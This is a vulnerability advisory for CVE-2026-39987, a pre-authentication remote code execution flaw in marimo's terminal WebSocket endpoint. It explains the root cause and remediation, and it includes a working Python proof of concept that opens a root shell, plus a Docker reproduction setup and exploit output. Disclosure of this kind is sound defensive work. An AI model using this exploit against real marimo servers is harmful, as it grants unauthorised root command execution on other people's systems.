CVE-2026-39987 — Vulnerability in marimo — CVE Details

## Summary Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint `/terminal/ws` lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., `/ws`) that correctly call `validate_auth()` for authentication, the `/terminal/ws` endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. ## Affected Versions Marimo <= 0.20.4 ## Vulnerability Details ### Root Cause: Terminal WebSocket Missing Authentication `marimo/_server/api/endpoints/terminal.py` lines 340-356: ```python @router.websocket("/ws") async def websocket_endpoint(websocket: WebSocket) -> None: app_state = AppState(websocket) if app_state.mode != SessionMode.EDIT: await websocket.close(...) return if not supports_terminal(): await websocket.close(...) return # No authentication check! await websocket.accept() # Accepts connection directly # ... child_pid, fd = pty.fork() # Creates PTY shell ``` Compare with the correctly implemented `/ws` endpoint (`ws_endpoint.py` lines 67-82): ```python @router.websocket("/ws") async def websocket_endpoint(websocket: WebSocket) -> None: app_state = AppState(websocket) validator = WebSocketConnectionValidator(websocket, app_state) if not await validator.validate_auth(): # Correct auth check return ``` ### Authentication Middleware Limitation Marimo uses Starlette's `AuthenticationMiddleware`, which marks failed auth connections as `UnauthenticatedUser` but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level `@requires()` decorators or `validate_auth()` calls. The `/terminal/ws` endpoint has neither a `@requires("edit")` decorator nor a `validate_auth()` call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active. ### Attack Chain 1. WebSocket connect to `ws://TARGET:2718/terminal/ws` (no auth needed) 2. `websocket.accept()` accepts the connection directly 3. `pty.fork()` creates a PTY child process 4. Full interactive shell with arbitrary command execution 5. Commands run as root in default Docker deployments A single WebSocket connection yields a complete interactive shell. ## Proof of Concept ```python import websocket import time # Connect without any authentication ws = websocket.WebSocket() ws.connect('ws://TARGET:2718/terminal/ws') time.sleep(2) # Drain initial output try: while True: ws.settimeout(1) ws.recv() except: pass # Execute arbitrary command ws.settimeout(10) ws.send('id\n') time.sleep(2) print(ws.recv()) # uid=0(root) gid=0(root) groups=0(root) ws.close() ``` ### Reproduction Environment ```dockerfile FROM python:3.12-slim RUN pip install --no-cache-dir marimo==0.20.4 RUN mkdir -p /app/notebooks RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py WORKDIR /app/notebooks EXPOSE 2718 CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."] ``` ### Reproduction Result With auth enabled (server generates random `access_token`), the exploit bypasses authentication entirely: ``` $ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname" [+] No auth needed! Terminal WebSocket connected [+] Output: uid=0(root) gid=0(root) groups=0(root) root ddfc452129c3 ``` ## Suggested Remediation 1. Add authentication validation to `/terminal/ws` endpoint, consistent with `/ws` using `WebSocketConnectionValidator.validate_auth()` 2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints 3. Terminal functionality should only be available when explicitly enabled, not on by default ## Impact An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.